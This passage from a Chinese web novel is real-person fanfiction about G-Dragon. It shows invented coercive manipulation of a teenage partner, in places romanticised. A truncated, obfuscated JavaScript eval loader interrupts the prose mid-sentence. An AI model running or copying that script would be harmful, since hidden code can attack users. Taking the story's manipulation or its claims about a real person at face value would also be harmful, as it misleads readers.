对方只顾着炫耀,迫不及待的炫耀自己的宝藏,像是打了什么胜仗一样,是啊,自己原来就是这样 的男人,因为怀里揣着宝物,因为幸福的忘乎所以,一直就这样傲慢的以为,自己什么都能做得 到。 能好好的做好G-Dragon,能带好团,也能照顾好自己心爱的恋人。 结果不是搞砸了吗。 但是,2014年的权志龙,正是意气风发的时候,时尚顶奢的橄榄枝接到手软,个人SOLO世巡大获成 功,就连在没怎么活动的日本也是演唱会座无虚席,昔日的恶评诋毁早就变成了溢美之词,好像随 便做点什么都能引发模仿的风暴,不管到了哪里,什么人见了都会露出热情的笑容。 那孩子也是,比起其他时间,更久的陪伴在了身边,从2013年开启了同居生活,简直每天都幸福的 跟做梦一样。 这样的日子过久了,难免会觉得自己无所不能,觉得自己已经得到了全世界。 “你太得意忘形了,G-Dragon。” 权志龙虽然知道对方听不进去,但这样能和过去自己对话的机会,他不想放过的,希望对方能够知 道哪怕一点: “那孩子在生病,你难道没有发现吗?” 显然,‘他’是听不见去的,权志龙在那张年轻张扬的脸上,看到了类似于不屑和冷笑的表情:“那是你没照顾好,是你的原因,我不会犯你的那种错误的。” ‘他’理直气壮的说道:“我会把她照顾的很好的,你看着吧。” 权志龙用冷静平稳的口气说道:“你没能照顾好她,她已经生病了,你要去带她看医生,情况比你 想的糟糕多了。” ‘他’明显生气了,用有些高亢的声音反驳道:“我都说了,那是你的问题,是未来发生的事情, 我现在把她照顾得很好!就算是……就算是生病了,也是因为她经历了很多伤心的事情,那是未来 的你做的,是你权志龙做的,不是我做的,你少来指责我!” ……看起来相当生气。 为什么会那么生气呢。 “你很心虚,不是吗?” 权志龙太了解自己了,他没有再给对方辩驳的机会:“GD……?你这么喜欢这个名字吗?也是,因 为这个名字,你得到了自己想要的一切,真的很幸福吧,GD XI,不管到了哪里,大家都这样叫 你,觉得很兴奋吧?” “连自己开始变了,都没有发现吗?” “你好像很沉迷GD这个名字,或者说太沉迷了吧,做这样华丽的有名气的人,让你觉得幸福了 吗?” 权志龙轻笑了一下,然后缓缓地吐出一口气: “呀,小子。” “我做GD的时间比你的还要长十年,你看我,像是很幸福的样子吗?” 一开始当然会眼花缭乱,曾经做梦都想买的东西,现在不过是随手丢在抽屉里的玩意儿罢了。 有着不限制消费的黑卡,有着成群的保镖助理,有着豪车、豪宅,有着无数人的追捧,不知不觉 中,享受着这样的人生的同时,好像把很多东西都忘记了。 不知不觉中有了偶像包袱,不太能随意的释放自己的情绪,也在不知不觉中有了头痛到睡不着的压 力,一晚上就不知道撕掉多少草稿纸,也有着出门之间看着衣柜叹气的时候,想要随便穿又觉得不 该随便穿。 总觉得自己很痛苦,很苦恼,很累,所以,渐渐地,不知道什么时候开始,变得理直气壮,理所当然的,开始向那个孩子,索取更多的情绪价值和包容。 “现在是2014年的4月了,对吧。” “你该不会觉得,所有的好事儿都是在这之后,让‘我’干的吧。” 权志龙看对面哽住的样子,接续说道:“你干的好事要我一件一件说出来吗?” “明明知道那孩子不喜欢夜店,你还硬要把她带过去,看着她在夜店浑身不自在只能像是个被扔到 人群中的小孩子一样紧紧用眼神跟随你,看到你离开就害怕的恨不得黏在你身上,因为不懂夜店的 东西只好发信息向你求救的时候,你却故意一直不回复她,非要看到她眼泪都要出来了才跳出去玩英雄救美的把戏,看着她眼泪汪汪的样子,你心里很爽吧。” “在外面收到了很多女人的纸条,明明就可以立刻丢掉,非要塞在口袋里带回去,然后故意让她发 现,看她紧张的来试探,你心里很得意吧。” “明明约好了晚上见面,结果自己这样那样的迟到,因为待在一起的时间太短,总是耍赖取消掉她 的行程来换取在一起的时间……不停的让她让步的理由,只是因为你是G-Dragon,你的时间更值 钱,你的行程更昂贵,等待你的人更多……因为这种可笑的理由,不是吗?” “明明是公关那边为了转移大众视线才要出的绯闻,明明出绯闻之前就可以提前告诉她,让她不用害怕不用胡思乱想,结果非要看她对绯闻的反应,非要看她流眼泪,还要说‘这也是没办法的事 情’的人,不是你吗?” 权志龙看到‘他’的脸色都变得铁青,淡色的眸子四处乱晃,手指甲不自觉的扣着自己的手掌心, 耳朵尖都变红了。 他不给‘G-Dragon’辩白的机会,用冷静的,干脆的声音说道: “你不知道她会因此难过吗?” “你不知道她在等待的时候会很着急吗?你不知道你不接电话的时候,不回信息的时候,她总是偷偷抹眼泪吗?” “你不是都知道吗?你明知道那些来撩拨你的女人们会有意无意的向她示威,你明知道她很想去玩 那个综艺,你明知道她只是正常跟别人讲话,是那些心怀鬼胎的男人单方面对她追求,她没有任何 想要和别人推拉的意思,你也明明知道,她和母亲关系不好不是吗?” “你知道你开豪车去接她上下学会让她成为同学们议论的对象,你知道你送给她帽子衣服的时候没 讲过这是情侣款,你知道她是个女人,这是个对她更加严厉苛刻的世界,你不是都知道吗?” “为什么要这样折磨她。” “你明明就爱她,为什么要这样折磨她?” 权志龙的语气逐渐不再平静,到了最后,已经成为怨恨的质问。 ‘他’脸色铁青,嘴唇嗫嚅了一下,勉强挤出一句话: “……我不知道。” ‘他’嘴唇颤抖着,说完这句话之后简直是迫不及待的为自己辩解:“我怎么会什么都知道?我就 是有那么忙碌啊,没接到电话信息不是很正常吗?我们是男女朋友诶,因为太想她了太喜欢她了想 多待一会儿,我这边是五个人的行程,她只有一个人的行程,所以不管怎么想都会取消工作量更少 的不是吗?” “我觉得夜店很有趣才带她去玩的,接她上下学是因为害怕她被奇怪的人盯上,她的父母对她不 好,所以我才加倍的对她好,到底有什么问题?!” G-Dragon的声音逐渐大了起来,更加理直气壮了起来。 “……少撒谎了。” 权志龙盯着过去的,年轻的自己,冷冰冰的打破他的虚伪的面具。 “少撒谎了,你怎么可能不知道。” “我都知道啊。” “我们,不是一个人吗?” 权志龙盯着镜子里的自己,一字一句道: “权·志·龙。” 为什么人会那么的傲慢。 为什么人会觉得,自己在幸福的时候,恋人也一定是幸福的呢? 权志龙在梦游廊里不知道打开过多少个房间。 这里是江留月的梦游廊,里面存放着她所有的回忆,这些回忆按照时间变成一个个房间,权志龙推 门而入的瞬间,就会融入这段记忆之中。 是他不知道的,没见过的江留月。 权志龙一直以来,都引以为傲的是自己对江留月的了如指掌,他熟悉她每个表情背后的情绪,熟悉 她每个小动作,甚至熟悉她看到某些事物的反应。 可是直到推门而入之后,他才发现,他一直都不了解这个小孩。 怎么会有那么多眼泪和痛苦啊,我们塔伊。 哥哥真的只是逗你的,只是想让你贴着我,才带你去了你害怕的地方,不知道你会那么害怕,明明 当时你贴着我的时候,我问你怕不怕,你小小声的说不怕,怎么会在自己去洗手间的路上都吓得双手握拳,随便路过什么人都吓得你紧绷身体啊。 那些什么纸条,我连给我纸条的人长什么样子都忘记了,故意在你问我的时候说那是大美人,让人 看到了就忘不掉,哥真的不知道你会气得饭都不吃了,气得哽咽着偷偷掉眼泪。 有时候故意不接你的电话和信息,是因为吃醋你和别人的亲近,故意看你着急,故意看你小心翼翼 凑过来讨好的笑着,我只是想让你只喜欢我啊。 权志龙在直面江留月的痛苦之后,无法容忍自己的装聋作哑。 那么多细节有迹可循。 为什么过去的自己,就那样理直气壮的忽视了? 一直以来积攒的愧疚和痛苦喷涌而出,权志龙忍耐了不知道多久的指责尖锐的刺中了对面的‘自 己’: “所以我知道的事情,你怎么会不知道?” “少自欺欺人了。” “光鲜亮丽,无所不能的G-Dragon?” 权志龙自嘲的笑了一下: “……你算什么啊。” 这么长的时间里。 你并非没有看到她的痛苦和迷茫。 甚至在她开心快乐的时候,你不甘心于她此时此刻目光从你的身上移开,故意找借口要欺负她,让 她的笑容变成眼泪。 “少指手画脚了。” ‘G-Dragon’显然很慌,他硬是咬着牙不肯低头,心口翻涌的情绪让他焦躁的反驳着对方:“你如 果真的是我,你不应该完全理解我为什么这样做吗?” ————如果你是我。 你一定理解我这样做的理由。 反复验证。 反复试探。 反复捧起又摔下。 “我不知道是什么让你变了。” “至少我现在,很明白自己在干什么。” “我放不了手。” ‘G-Dragon’闭了闭眼睛,再睁开眼睛的时候,他已经变得坚定了:“少说这种动摇我的话,如果 没有什么情报的话,你可以闭嘴了。” 权志龙的心中涌出深深的疲倦。 只是几句话,就想让‘自己’反省,果然是做不到的。 “……你能不能,至少,带她好好去看医生?” “暂时,也不要逗她,不要欺负她,不要大声对她讲话,就算是做情侣之间的事情,也不要太欺负 她了。” “我……” 倏然一下。 权志龙眼前一黑,视线再次清晰的时候,他眼前的景象又变成了浓浓的白雾中,长长的,仿佛没有 尽头的走廊。 两个‘人’之间的联系断开了。 权志龙无法判断是不是年轻的那个自己不耐烦听下去单方面掐断,他试图集中精力想要再次呼唤对 方,却始终没有回应。 他努力了片刻之后放弃了,再次试图脱离梦游廊。 发现失败之后,他短暂休憩了一下,然后脑子片刻不停地开始盘点自己从2014年获取的所有情报。 毫无疑问,所有的一切都是金优引起的,当初他落魄之后一定是使用了梦游廊做了什么,才会让江留月的魂魄来到这个时间。 只是,权志龙至今也想不通,为什么非要是这段时间? 如果金优的目的是想要得到江留月,那其实,他们共同在中国的时间可能会更好认识?还有就是没 出道的时候,大家都是穷酸练习生不说,还都缺少社会阅历,头脑简单又好欺骗。 为什么非要是这个年份呢……? 金优的异样活动是在2013年尾巴才开始的,也就是说,他可能取代过去自己的时间点,最早不会早 于2013年的年末。 这个时间段虽然提升了金氏的财力,但对于他和江留月的关系来说,明显助力并不高,不然也不会 直到自己来到2014年的前几天才勉强成为一个代理经纪人了。 这家伙到底要干什么…… 权志龙总觉得自己似乎抓住了什么,却一定忽略了什么东西。 也许自己的想法太局限性了……? 这个时间点…… 是自己做了什么吗? 权志龙努力回忆自己在2014年有没有犯下什么错,但他怎么回忆,好像都只是一些琐碎得不能再琐 碎的东西。 必然有什么决定性的东西在这里吧。 没理由啊。 真的没理由啊。 那么,是什么,非要在这个时间发生了吗? 权志龙感到混乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小丫头对于男人警惕心极强极强,贸然伸手可是会被打的。 他于是先摸出了两颗糖,放在自己的手心,慢慢的递过去。 圆溜溜的黑凌凌的眼珠子盯着他,他的塔伊皱紧眉头,摇头拒绝了这两颗糖。 权志龙无数次进出这个房间,这是江留月曾经的记忆,他并不能在这里改变任何东西,因此,他每次来,江留月都是第一次见到他。 “我能,在你家里做客吗?” 权志龙已经能很熟练的说出这句中文了。 他的声音很软,很甜,很大程度降低了小孩的警惕心。 他又将糖果往前伸了伸:“这是见面礼。” 江留月不吱声,直到她的肚子发出咕噜咕噜的声音。 她终于垂下浓密的像是蝴蝶翅膀的睫毛,吞了吞口水,在小围裙上擦了擦自己的小手,快准狠的从 权志龙手心把糖果抢走了。 权志龙静静的看着她,他中文不算很好,这些天来恶补了许多,也只能勉强连说带比划,他之前没 问过这里具体的地理位置,他猜想,江留月会将‘家’的位置放在这里。 他看着江留月,想着要怎么开口把具体位置问出来。 这时候,小孩用乌溜溜的眼睛看了他一会儿,将两颗糖果里比较漂亮的那一颗分了出来,轻轻地放 在了他的手边。 “哥哥吃。” 五岁的江留月声音软软的说道。 权志龙抿了一下嘴唇,嗯了一声拿起了那颗糖,这是一颗橘子糖,是闵孝琳带到医院里来的,是韩 国一个挺久的牌子了,闵孝琳怀孕的时候很喜欢吃,所以东永裴的儿子现在也喜欢。 “但是这个糖好像调过一次甜度,以前很酸的,现在甜多了。” 她说。 权志龙剥开放进嘴里,果然很甜,见他吃了,江留月也剥开了自己的那一颗塞进了嘴里。 权志龙忍不住笑了。 好机灵的小孩。 “doudoukageinei。”(好聪明呀。) 他忍不住伸手摸了一下江留月的头发。 软软的,凉凉的。 江留月抬起头,黑白分明的大眼睛看着他,里面有点疑惑,又有点惊喜的样子。 她记得,妈妈也会说这种奇怪的话。 听说,她的爸爸也会说这样的话。 她不由自主的用脏兮兮的小手抓住了权志龙宽大的手掌,看向这个好看白净的哥哥,她在他身上闻 到了一种暖和的味道。 她没有说话,但是权志龙在她的眼睛里读到了一种熟悉的情绪。 他轻轻地叹了口气,没有说话,而是向她伸开了双臂。 江留月有些惊讶的看着他,似乎有点犹豫,但是渴望最终战胜了犹豫。 她蹑手蹑脚的爬进了他的怀抱,然后有些惊奇的抓着他的手臂看向他的脸庞,她脏兮兮的小手摸向 对方的脸庞,权志龙没有躲闪,任凭她摸了自己的额头、眉毛、眼睛和鼻子,他瞥到江留月的小手 的手心是一片蹭伤,想也知道,不是被别人欺负了就是被什么狗撵了,一路上连滚带爬才躲到了自 己的小庇护所里。 他知道,只要有第三个人出现,他就会被弹出梦境,对于江留月过去的记忆中来说,这又是个被人骂着野种欺负,天黑了才回到家,却发现乔娜气她不回来吃晚饭把她锁在门外面,一直到夜深露重 病倒的一天。 也正是这次病倒,乔娜终于承受不住精神压力选择向家族低头嫁给了江父,江留月才摆脱了这种没 有父亲被人欺负的日子。 第一次进来的时候,权志龙一见到小塔伊那脏兮兮的样子,就根本压不住情绪的哭的要命,结果吓 得她掉头就跑,还狠狠摔了一跤。 权志龙试错了很多次,才试出了这条百试百灵的台词,他因此和小塔伊交了朋友,分吃过糖果、蛋 糕,也曾背着她一直走到巷子口。 巷子口是最后极限,一般在这里都会碰到街坊或欺负她的小孩,权志龙就会在这个时候被弹出去。 刚开始的时候,权志龙还往这里跑,但后来实在是心里难受,而且明烛说,江留月的灵魂碎片会被 执念吸引,幼年的阴影很难作为执念,他便放弃了这个房间。 是啊。 塔伊。 这种地方怎么能算你的家呢。 权志龙觉得自己一定是搞错了,一定是和‘自己’的对话把自己搞晕了。 他搂住怀里的小孩儿拍着她的后背,决定这次弹出之后再去2014年的房间里碰碰运气,或者再试试 看能不能再和‘他’对话。 夕阳缓慢下落。 依偎在树下的两个人身上都是暖洋洋的光。 * 江留月被哄着又短暂睡了一会儿,再醒过来的时候人还是有点精神恍惚。 她披着毯子从沙发上坐了起来,只觉得头晕目眩,嘴里更是苦的难受。 权志龙放下手里的平板走了过来,她下意识的搂住对方的脖子,在颈窝处蹭了蹭,眼睛都还么完全 睁开,手已经习惯性的去摸他的脸,从额头、眉毛、眼睛一直往下摸。 这是她的一个小癖好,睡迷糊了如果谁来她身边,她就会伸手摸人的脸,如果摸到不是权志龙,她 就立刻清醒,摸到了权志龙,她就还能再眯一会儿。 权志龙随她乱摸,低声问她好点没有。 江留月咕哝说嘴巴好苦想吃东西,权志龙就拿了零食盒子给她,江留月挂在他身上懒洋洋的挑选, 然后选了一包橘子糖。 江留月拆开了一颗塞进嘴里,然后被酸得整个人都皱巴了起来,权志龙吓了一跳,赶紧将手伸过来 让她吐在手心里。 “……奇怪啊。” 江留月吐掉糖,看权志龙拿湿巾擦手心,自己不甘心的翻来覆去的看包装:“我记得小时候吃过这 个……这个很甜的呀。” “这个甜吗……?这个糖就是以酸出名的吧,好像是新出没多久,我好奇才买的,你这孩子,也太 会挑了……” 权志龙看她的状态似乎好多了,隐约松了口气。 他下意识的用糖果来转移之前的话题道:“雨好像快停了,晚上要不要和哥哥一起出去兜兜风?” 江留月疑惑的看着他,她总觉得自己之前似乎和权志龙有过一次混乱的交谈,但看权志龙若无其事 的样子,她又觉得是不是自己做梦做错了。 说多错多。 她倒也不觉得这很重要,于是乖顺的点了点头。 权志龙也笑了,凑过来亲了她一口,江留月看到朦胧的暖光灯下,权志龙轮廓分明的脸庞,她下意识的伸手抚摸了一下。 “……你好温暖啊,哥哥。” 她喃喃自语: “像是被太阳晒过一样暖和。” 54.stay with me (下) 54.stay with me(下) “塔伊,你在想什么?” 权志龙脱口而出这句话的时候,夜风正吹拂起江留月的头发。 她回过头,看向权志龙。 权志龙蓦然怔住了。 此时已是四月,首尔的樱花早就尽数凋零,但在这不为人知的山坡上,竟然还有一棵无人问津的晚 樱。 这棵树静默的存在着,仿佛就为了今天,能够用花瓣抚过她的脸庞般。 回忆像是潮水一样向权志龙涌来,他想起2009年的初夏,那也是一个下过暴雨的潮湿夜晚,没有星 星也没有月亮,只有山野中的虫鸣与夜风吹乱江留月的头发。 她总是黑白分明的双眼染上令人怜爱的泪意,鼻尖和脸颊都红红的,因为羞耻和委屈而微微发抖。 她没有讲话,但是那双含泪的眸子说完了千言万语。 那是权志龙看到自己的“尾巴”之后的第九个月,在经过了激烈的思想斗争和自我折磨之后,权志 龙最终选择了放弃继续挣扎。 他接受了自己完蛋了的事实。 你完蛋了,权志龙,你爱上了一个还什么都不懂的小孩,她本该是你的妹妹,你本该是她最可靠的前辈和兄长,你们之间的关系本该稳定亲密,就像是血缘一样牢不可破,而你现在鬼迷心窍,将自 己先丢进了爱情的地狱。 你完蛋了,你华丽的人生才刚开始,也许有那么多新鲜的刺激的缘分等待你去邂逅的时候,你居然 自己给自己的手脚都加上镣铐,给所有位置的缘分都扣上了道德的约束,这可太不像是你能干得出 来的事情了。 在明白自己完蛋之后,权志龙反而释然了,他理所当然的接受了自己的‘堕落’,心安理得又理直 气壮的开始编织一张庞大的网。 他没有像是对待别的女孩那样大张旗鼓的追求,那种流于表面的示好并不适合江留月,况且,就算 是他之前所有追女孩的手段都拿出来摆在江留月的面前,那孩子多半也只是露出一脸迷茫的表情看 着自己。 这些人在感叹江留月这么乖的小孩怎么会选择自己的时候,会知道吗? 这群家伙会知道自己追女孩的时候费劲心力做的那些事情,在他们还不是情侣的时候,就已经做过无数次了吗? 这孩子去读大学的时候,熬夜上完了通告之后又赶着清晨去送她上学,那孩子生病的时候,妆也没卸的先跑去买她喜欢吃的粥;因为不懂外国人居住法搞错了申请材料的时候,跑上跑下的帮她处理 这些琐事;吃饭的时候为她摆好筷子,吃完了为她擦嘴巴,出门的时候自然的跪下为她系鞋带,硬 着头皮为她买过生理期用的卫生巾,也为她买过庆生的蛋糕和顶奢的饰品包包…… 那些只是嘴巴一碰就说喜欢她的男人们,到底有什么能和他相提并论的呢? 他们分享过同一杯饮料,同一块蛋糕,在凌晨的保姆车上依偎着彼此睡着,她的第一次人气歌谣舞 台打歌的时候反应援是他权志龙买的饮料和小花束,还手写了一百五十张贺卡,他拿下三冠王的时 候是她拿着主持人小卡喊出的名字…… 不管是塔伊还是Alice,她的人生里密密麻麻的都是他写下的备注和韵脚。 所以,权志龙竟然有些不知道如何下手,才能让她意识到,他已经在用男人的眼神注视着她。 想要靠近,又担心会吓到她,想要抚摸,却不知道为什么习以为常落在她肩膀和头发上的手乍然变 得尴尬僵硬起来。 然后,权志龙就发现,他的这些尴尬和下意识逃避带来的‘疏远’,竟然引起了江留月的注意,她 似乎很迷茫为什么会这样,所以将工作之外的大部分精力都投注在他的身上,想知道他是不是在生 气,他们之间的关系有没有出问题,总是眼巴巴的像是一只小狗一样试图粘过来。 权志龙太擅长这样的互动了,他总是盯着江留月,发现她有什么苗头,就勾勾手指头,把她叫到自 己的面前来,然后用行为和语言,盖上一个章。 周围的人逐渐觉得他们在交往,虽然权志龙嘴巴上不承认,江留月也是一脸茫然,大家也觉得是因 为两个人都是艺人所以在隐瞒。 他们太亲密了。 亲密的程度,早就超过了普通朋友和兄妹,在他们两个人都没有察觉到的情况下,他们的行为早就 过线了。 所以,权志龙很轻易的就开始透过周围人的反应向江留月传达一个概念。 “志龙对你比对女朋友还要好,你现在享受的完全是女朋友的待遇。” 江留月肯定觉得惶惑,也会觉得有些不妥的试图拉开距离。 但只要她试图拉开距离,权志龙就会生气,她又很害怕权志龙生气。 “为什么要在乎别人怎么看,哥对你你不好吗?” 权志龙问她。 江留月显然只能回答,很好。 她肯定多少有些别扭,但,权志龙确实对她很好,好到她如果抗拒,就有点伤权志龙的真心了。 权志龙慢条斯理的蚕食着江留月的警惕,看着她对自己的底线一退再退。 他也确实加倍的对江留月好,好到江留月都下意识的感觉到害怕的程度。 频繁的在综艺上cue她,只要她随口一提就去买排队两三个小时的甜品,江留月只是瞥了一眼的小玩意儿就更不用说,像是流水一样出现在她的面前。 “哥,你为什么要对我这样好啊。” 江留月问出这句话的时候,眉头都是皱得紧紧地,她像是一个普通人忽然被迎面砸了好几百万现金 一样,来不及高兴就开始感到惶恐。 她是一直渴盼着关心和爱,也一直都很依恋权志龙,但现在权志龙给的真的太多太满了,就像是普 通人天天都想着暴富,真的暴富之后又开始担心钱是假的、是犯罪得来的,会被人盯上抢劫、会因 此遭来灾祸一样的惴惴不安。 权志龙若无其事的笑了笑:“因为哥喜欢你啊。” 他不等江留月反应过来,又说到: “毕竟你是哥最喜欢的妹妹呀,是真的小忙内,哥不疼你的话要去心疼谁啊。” “……可是,这也太……” 江留月总觉得即便如此,也对她好得太过头了,除了bigbang,YG还有很多年长的前辈们,还有很 多工作人员都很喜欢她,也对她很好,但这些人的好从来不会让她感到害怕过。 普通人会对妹妹这样吗? 不对……普通人会对没有血缘的妹妹这样吗? 江留月一直是独女,她没有这个概念,她试图去观察身边的兄弟姐妹,但倒霉的是,周围并没什么 正常范本给她去参考。 她已经十七八岁了,已经到了青春懵懂,对爱情报以强烈幻想的时候,身边的同龄人也好,演艺人 们也好,当然也会有人对她产生别样的感情,试图追求她。 江留月对这种追求的反应近乎于无。 她身边有一个声名正盛的权志龙,20岁就拿下三冠王的年轻制作人,史无前例打破了多项韩国记录 的爱豆,引领了一代人的潮流的这样闪耀的男人,这样一个炙手可热的人物,总是哈欠连天也要送 她去上学,掏钱给她大学fm的所有人聚会买单,随手给她买个什么都是奢侈品,好像她造个什么 梦,她哥都能变成现实,白天还在舞台上光芒万丈,晚上就穿个背心睡裤在YG的公共食堂给她煮泡 面,她吃饭的时候直接伸手抹掉她脸颊上粘的食物渣渣;三个小时之前板着脸纠正她舞台动作的错 误,练完了又皱眉训斥她最近的松懈,可等她洗完澡换好衣服出俩,权志龙又皱着眉把她叫过去, 本以为又要接着挨骂,权志龙却盘腿坐在地板上给她吹头发扎小辫…… 如果被追求的人对幸福的感知有阈值,那权志龙早就将她的阈值拉到了最高点。 因为太幸福了,所以当权志龙发觉时机成熟,开始收网的时候,江留月曾经感知到的幸福就像是潮 水一样从身体里褪去,她能感觉到自己人生的失控,因此慌不择路的跳进了权志龙精心准备的陷阱 里。 就是像现在这样。 一个潮湿的初夏夜。 这本该是一个庆功宴,几乎大半个YG都在,本来是兴高采烈的时候,JYP也有相识的艺人一起来参 加,一起来的,还有年轻漂亮的女艺人们。 权志龙对其中一位表现出了完全不同的态度,这两个人甚至还拿到了什么网民最希望交往的CP投票 一位,周围的人在起哄,权志龙摸着酒杯的边缘在笑,他抿了一口酒水,漫不经心的跟对方聊天, 目光却看向躲在角落里的江留月。 江留月是被他的目光围追堵截的小鹿,她一定很慌乱,把所有的心事都写在了脸上,她最近学校在考试,所以没怎么来公司,并不知道这对CP是两家公司联手推出的炒作绯闻,也并没有人专门告诉 她这件事情。 今夜是权志龙精心筹备的狩猎场,懵然不知的猎物是映在他瞳孔中暗自神伤的小鹿。 到底不忍心江留月再胡思乱想下去,权志龙慢悠悠的走过去,江留月什么都没察觉,她正被自己恼 人的情绪给缠绕得像是一只被困在毛线团里的小猫。 她正试图将自己从错乱纷杂的情绪中解脱出来,可也是试图看清,她就越是狼狈,越是害怕。 她在干嘛? 她在吃醋。 她讨厌权志龙跟别的女生开玩笑,她讨厌权志龙用他好看的淡色瞳孔注视别人,她讨厌权志龙和那 个女孩靠得那么近,她讨厌权志龙没有注意到她,没有像是往常那样叮嘱她不许喝酒不许乱跑。 但,她有什么资格和底气来讨厌呢? 权志龙对她那么好,他是世界上最好的兄长最好的前辈,如果权志龙可以得到幸福,她难道不应该 为对方感到高兴吗? 为什么她的心里只有酸涩的委屈和丑陋的嫉妒呢? “塔伊,你在想什么?” 偏偏这个时候,头顶响起她最不想听见的声音。 江留月抬起头,正看到权志龙站在自己面前,他熟悉的声音很温柔,带着点淡淡的笑意。 她下意识的打了个哆嗦。 也不知道为什么,强烈的羞耻感从脚底席卷全身。 她一个字也说不出来,嘴巴嗫嚅了好一会儿,也挤不出一个字,脑子乱哄哄的,只有权志龙的身影 越来越清晰。 江留月羞愧的快要尖叫出来了,她就像是一个窥探珍宝许久许久,终于没能忍住去伸手触摸却被主人抓个正着的小偷,火辣辣的羞耻和恐慌像是鞭子一样抽在她的神经上。 她明明没有走路,却险些崴脚的踉跄了一下,然后,慌不择路的转身就跑。 这样的发展显然出乎权志龙的意料,他也没想到逗一下人能把人给吓坏,他急忙追上来。 江留月心慌腿软,没几步就被权志龙抓住了。 这是一个下坡,权志龙猛然拽住了她,她整个人都从下坠的失衡中被扯住,整个人如同被放在了悬 崖边上,紧绷的随时要碎掉。 “你这孩子跑什么……?” 权志龙被她吓得大喘气,紧紧地攥着她的手臂,然后目光落在了江留月的小脸上。 他忽然怔住。 江留月的眼睛红红的,鼻尖也红红的,整个人都在簌簌发抖,她一个字也没说,但是那双含着泪的眼睛,却说尽了千言万语。 他几乎是瞬间就懂了江留月逃跑的理由,然后是一种强烈的愉悦从脚底一直窜到头顶,以至于他说 话的声音都在颤抖了: “为什么跑?因为讨厌这里?讨厌我?” 权志龙克制住自己急促的喘息,他尽量想要放松,但实在是又忍不住。 他直勾勾的看着江留月,他的目光过于放肆和直白、贪婪,强行压抑的欲念和想要将对方一口吞下去的贪婪让他声音都哑了: “还是讨厌我看别的女人?” 江留月吓得抖了一下,她眼睛里的泪花已经变成了泪珠,长长的睫毛是被打湿的蝴蝶翅膀,拼命地 扑闪着,试图逃脱捕猎的网。 权志龙抿了抿嘴,江留月吓坏了,她不可告人的心思被戳破,几乎要蜷起身子来抗拒权志龙可能要 对她说的所有的残忍判决。 权志龙却笑了。 他贴近江留月的,两个人几乎鼻子贴着鼻子,他说话的呼吸喷洒在她的鼻尖,热热的,湿湿的。 “你被我抓到了,塔伊。” “偷偷喜欢我是吧,塔伊,你被我抓到了。” 江留月已经快要晕过去了,她应该逃跑的,对吧,她完蛋了,她一定会被权志龙骂的,她没管理好 自己的感情,她还是个才出道一年的爱豆,她竟然管不住自己,权志龙对她那么好,她竟然想要喜 欢他。 她哆哆嗦嗦的把自己往后缩,但是一往后,整个人就没力气一样要掉下去,她又下意识的抓住权志 龙的手臂。 江留月大概觉得自己说了什么,但其实她一句完整的话也没说出来,她只是结结巴巴的,全凭本能 的叫着“哥哥”。 权志龙的心都要融化了,他将人用力的扯到自己的怀里,江留月被吓得呜咽一声,眼睛也闭上了, 整张脸都皱巴成一团。 权志龙又觉得好笑:“睁眼。” 江留月哪里肯,她用力的闭着眼睛。 权志龙忍住笑,声音放得更柔和一些:“睁眼。” 江留月哆哆嗦嗦的睁开了眼睛,她眼窝里都是泪花,看得也是云里雾里,她自己也没察觉的时候, 她在紧紧地攥着权志龙的衣服。 “好好看着我,塔伊。” 也许是权志龙的声音太温柔了,江留月总算是鼓足了些许勇气,她眨了眨睫毛,泪水滑落的时候,她看清了权志龙的脸。 是她所熟悉的那张脸,白净、秀气,浓眉凤眼,有一双褐色的漂亮瞳孔,高挺的鼻梁投下阴影,小 巧的红唇带着笑,她甚至在权志龙的瞳孔里,能看到自己。 权志龙的手抚摸上江留月的脸庞,捧着她的脸,干燥温暖的手掌让江留月的心安稳了下来,她能感 觉到权志龙的大拇指在为她擦去泪水。 她下意识的觉得委屈,甚至不知道这委屈的情绪从何而来,她只是觉得权志龙很坏,又觉得权志龙 很好,她还觉得自己很坏,又很害怕这个瞬间是她做的一场梦。 她被抓住了,她完蛋了,权志龙以后不会这样对她好了,以后会和她拉开距离了。 她其实知道权志龙对她的好超过了哥哥对妹妹的好,她应该提醒权志龙,或者自己拉开距离的,但是她舍不得。 现在好了,完了。 人果然不能太贪心。 江留月想着,呆呆地看着权志龙,嘴巴一撇,就很想哭的时候,她听见了她哥对她这悄悄摸摸,见 不得人的暗恋下达的判决: “从现在开始,我就是你的了。” 江留月只觉得自己从高空狠狠坠落。 她明知道喜欢上权志龙无异于朝着毁灭自己现有人生的道路上狂奔,但她就是已经无法控制平衡也 无法减速的,在山坡上一路朝下狂奔而去了。 预想的疼痛没有发生,她就那么沿着湿润的山坡,踩着青草的汁液,在太阳只升起一个角落的清晨 跌入还大雾弥漫的森林里,最终跌落在潮湿的苔藓层中。 权志龙的嘴唇湿润而柔软,他贴上来的瞬间江留月才有了些许实感,她不会呼吸,只是下意识的屏 住气,整个人都因为缺氧和过快的心率而腿软,直接被权志龙搂在了怀里,两个人跌跌撞撞了两 下,权志龙索性搂着她跌坐在旁边的草坪上。 他宽大的手掌捧着她的小脸,嘴唇一直都是温柔的贴在她的嘴唇上,只是缠绵而柔和的亲吻,没有 试图再进犯一步。 权志龙能感到怀里的人已经被这一切给吓坏了,再逼近可能会把人给吓跑,于是只好克制的,重复 的在她的嘴唇上啄吻。 直到江留月因为屏气太过而呛咳,权志龙才发现自己实在是贪恋太久,于是他赶紧把人抱在怀里拍 着后背,江留月不知道怎么得被摸了两下就委屈的感觉猛然涌上来,呜呜咽咽的开始掉眼泪。 权志龙把人搂在怀里哄,一边哄一边亲她的眼泪,好一会儿江留月的情绪才平复下来,搂着他的脖 子抽噎。 明明是宣告交往了,明明是权志龙说要把自己的人生给她了,她却反而更加没有安全感一样的,紧 紧地攥着权志龙的衣服,一直都没有说话。 权志龙摸了摸她的头发,轻声道: “塔伊,你在想什么?” 他现在还记得江留月当时的回答。 江留月窝在他怀里,用还带着泪意的眼睛看着他,声音软软的说道: “哥,我觉得自己很幸福,幸福得好像现在死了也可以。” 完全的小孩子想法,单纯、直白、热烈,像是一记直拳打在权志龙的心口。 权志龙猛然噎住。 他觉得幸福的同时,又觉得荒谬和没好气,于是意思意思的打了一下她的后背,说了一声没忌讳, 打完了又自己先心疼上了,将她搂在怀里亲她的脸颊。 江留月下意识的后退,后退到一半,又迟疑的停下了。 “志龙哥,我们……算……什么?” 